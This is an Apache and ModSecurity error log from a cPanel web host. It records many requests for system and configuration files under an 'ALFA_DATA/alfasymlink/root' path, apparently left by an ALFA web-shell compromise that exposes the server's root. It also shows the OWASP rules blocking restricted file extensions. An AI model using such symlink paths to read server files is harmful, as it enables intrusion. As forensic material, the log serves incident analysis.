[Sun Oct 25 19:20:16.063945 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 47.201.2.68:59301] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/cpu_partial
[Sun Oct 25 19:20:17.508581 2026] [proxy_fcgi:error] [pid 2910024:tid 2910024] (70007)The timeout specified has expired: [client 107.172.76.131:65530] AH01075: Error dispatching request to : (polling), referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 19:20:18.256655 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 50.20.125.144:39315] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/cpu_partial
[Sun Oct 25 19:20:18.428007 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.232.39.98:1533] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:20:20.841160 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 95.70.165.19:61159] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/cpu_partial
[Sun Oct 25 19:20:21.333686 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 181.233.91.57:36650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/total_objects
[Sun Oct 25 19:20:23.344052 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 149.19.169.243:38284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/total_objects
[Sun Oct 25 19:20:26.173869 2026] [core:error] [pid 2921098:tid 2921098] (13)Permission denied: [client 41.63.187.65:45906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/total_objects
[Sun Oct 25 19:20:30.201174 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 52.70.138.176:34870] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:20:38.194889 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 52.205.141.124:51008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:20:42.239401 2026] [core:error] [pid 2921098:tid 2921098] (13)Permission denied: [client 44.207.207.36:43158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/module/nf_conntrack_ftp/sections/__verbose
[Sun Oct 25 19:20:44.306863 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 216.244.66.250:44152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/dev/core
[Sun Oct 25 19:20:46.830513 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 73.177.96.106:62117] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/objs_per_slab
[Sun Oct 25 19:20:58.037033 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 106.215.162.59:14563] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/objs_per_slab
[Sun Oct 25 19:20:58.542051 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 35.174.253.85:9963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:21:06.204369 2026] [ssl:error] [pid 2918422:tid 2918422] (5)Input/output error: [client 100.29.107.38:30516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:21:10.495129 2026] [core:error] [pid 2921098:tid 2921098] (13)Permission denied: [client 44.212.145.46:27108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/rescan
[Sun Oct 25 19:21:22.488429 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 52.22.64.232:17222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory13/subsystem/uevent
[Sun Oct 25 19:21:25.675275 2026] [security2:error] [pid 2919322:tid 2919322] [client 216.244.66.250:44960] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf"] [unique_id "at6O9ZHo7mmwz2JULlIsFQAAAAw"]
[Sun Oct 25 19:21:25.675687 2026] [security2:error] [pid 2919322:tid 2919322] [client 216.244.66.250:44960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf"] [unique_id "at6O9ZHo7mmwz2JULlIsFQAAAAw"]
[Sun Oct 25 19:21:25.675983 2026] [security2:error] [pid 2919322:tid 2919322] [client 216.244.66.250:44960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf"] [unique_id "at6O9ZHo7mmwz2JULlIsFQAAAAw"]
[Sun Oct 25 19:21:30.097212 2026] [ssl:error] [pid 2910024:tid 2910024] (5)Input/output error: [client 52.203.68.145:40476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:21:34.225214 2026] [ssl:error] [pid 2919328:tid 2919328] (70014)End of file found: [client 54.166.126.132:58342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:21:36.773503 2026] [security2:error] [pid 2921098:tid 2921098] [client 68.55.64.133:35284] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PAKs_5solHzMTVbXiSgAAAAo"]
[Sun Oct 25 19:21:36.774218 2026] [security2:error] [pid 2921098:tid 2921098] [client 68.55.64.133:35284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PAKs_5solHzMTVbXiSgAAAAo"]
[Sun Oct 25 19:21:36.774593 2026] [security2:error] [pid 2921098:tid 2921098] [client 68.55.64.133:35284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PAKs_5solHzMTVbXiSgAAAAo"]
[Sun Oct 25 19:21:38.159297 2026] [security2:error] [pid 2919322:tid 2919322] [client 172.59.187.51:18365] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PApHo7mmwz2JULlIsFgAAAAw"]
[Sun Oct 25 19:21:38.160041 2026] [security2:error] [pid 2919322:tid 2919322] [client 172.59.187.51:18365] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PApHo7mmwz2JULlIsFgAAAAw"]
[Sun Oct 25 19:21:38.160566 2026] [security2:error] [pid 2919322:tid 2919322] [client 172.59.187.51:18365] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PApHo7mmwz2JULlIsFgAAAAw"]
[Sun Oct 25 19:21:40.360114 2026] [security2:error] [pid 2916902:tid 2916902] [client 5.62.149.74:44409] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PBMFRkznfJR6SfvAZawAAABU"]
[Sun Oct 25 19:21:40.360668 2026] [security2:error] [pid 2916902:tid 2916902] [client 5.62.149.74:44409] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PBMFRkznfJR6SfvAZawAAABU"]
[Sun Oct 25 19:21:40.360981 2026] [security2:error] [pid 2916902:tid 2916902] [client 5.62.149.74:44409] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-pgsql.conf"] [unique_id "at6PBMFRkznfJR6SfvAZawAAABU"]
[Sun Oct 25 19:21:42.218704 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 3.214.176.44:44524] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:21:55.288773 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 85.208.96.206:10844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:21:58.495564 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 50.19.221.48:23336] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:22:05.286464 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 85.208.96.201:19294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_nat/sections/__bug_table
[Sun Oct 25 19:22:07.111383 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 173.93.200.255:47746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/red_zone
[Sun Oct 25 19:22:08.892307 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 45.226.190.72:60162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/red_zone
[Sun Oct 25 19:22:10.168448 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 71.77.116.8:56827] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/red_zone
[Sun Oct 25 19:22:18.220651 2026] [ssl:error] [pid 2921032:tid 2921032] (70014)End of file found: [client 35.171.117.160:63727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:22:23.275156 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 37.66.177.163:9124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/object_size
[Sun Oct 25 19:22:26.509429 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 138.97.133.157:4460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/object_size
[Sun Oct 25 19:22:28.596152 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 166.198.102.181:57327] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/object_size
[Sun Oct 25 19:22:30.661966 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 205.147.22.25:58580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/slab_size
[Sun Oct 25 19:22:34.591752 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 73.58.93.23:32944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/slab_size
[Sun Oct 25 19:22:35.918048 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 98.109.220.135:33837] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/slab_size
[Sun Oct 25 19:22:42.585156 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 54.225.181.161:50361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:22:45.346713 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 38.68.84.26:33388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/alloc_calls
[Sun Oct 25 19:22:47.416565 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 75.181.184.16:57003] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/alloc_calls
[Sun Oct 25 19:22:50.834657 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 100.12.116.69:51994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/alloc_calls
[Sun Oct 25 19:22:50.835192 2026] [security2:error] [pid 2917409:tid 2917409] [client 100.12.116.69:51994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/alloc_calls"] [unique_id "at6PSuhm3oAe6GP3QMldOQAAAAY"]
[Sun Oct 25 19:22:50.835226 2026] [security2:error] [pid 2917409:tid 2917409] [client 100.12.116.69:51994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/alloc_calls"] [unique_id "at6PSuhm3oAe6GP3QMldOQAAAAY"]
[Sun Oct 25 19:22:54.244307 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 44.212.232.231:28817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:22:59.568239 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 95.16.20.135:38189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/objects_partial
[Sun Oct 25 19:23:03.557224 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 51.36.218.46:11053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/objects_partial
[Sun Oct 25 19:23:06.470156 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 3.217.82.254:47647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:23:17.596327 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 103.156.16.19:54026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/validate
[Sun Oct 25 19:23:20.832933 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 84.15.177.32:11967] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/validate
[Sun Oct 25 19:23:22.236151 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 3.94.156.104:35413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:23:24.422398 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 185.191.171.6:25768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/objects_partial
[Sun Oct 25 19:23:24.578676 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 176.88.166.221:39276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/validate
[Sun Oct 25 19:23:33.034612 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 47.13.99.182:41721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objs_per_slab
[Sun Oct 25 19:23:35.021082 2026] [core:error] [pid 2921098:tid 2921098] (13)Permission denied: [client 167.62.87.152:55354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objs_per_slab
[Sun Oct 25 19:23:36.956927 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 216.131.83.22:36109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objs_per_slab
[Sun Oct 25 19:23:43.368060 2026] [security2:error] [pid 2918487:tid 2918487] [client 185.191.171.6:24330] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/da/index.db"] [unique_id "at6Pf_ePUttmj9eQxOMELQAAAA0"]
[Sun Oct 25 19:23:43.368483 2026] [security2:error] [pid 2918487:tid 2918487] [client 185.191.171.6:24330] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/da/index.db"] [unique_id "at6Pf_ePUttmj9eQxOMELQAAAA0"]
[Sun Oct 25 19:23:43.368925 2026] [security2:error] [pid 2918487:tid 2918487] [client 185.191.171.6:24330] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/da/index.db"] [unique_id "at6Pf_ePUttmj9eQxOMELQAAAA0"]
[Sun Oct 25 19:23:46.364186 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 34.195.60.66:22118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:23:54.247068 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 34.196.114.170:24236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:24:00.015505 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 68.61.215.91:42175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/sanity_checks
[Sun Oct 25 19:24:02.304651 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 100.24.167.60:32358] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:24:02.535314 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 186.64.216.79:43988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/sanity_checks
[Sun Oct 25 19:24:03.138396 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 108.51.178.136:37211] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/free_calls
[Sun Oct 25 19:24:05.261681 2026] [core:error] [pid 2921098:tid 2921098] (13)Permission denied: [client 188.30.140.136:3997] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/free_calls
[Sun Oct 25 19:24:06.268770 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 3.211.105.134:63651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:24:07.089250 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 63.143.93.220:5530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/free_calls
[Sun Oct 25 19:24:15.051983 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 50.16.216.166:51240] AH02013: coalesce failed to read from data bucket
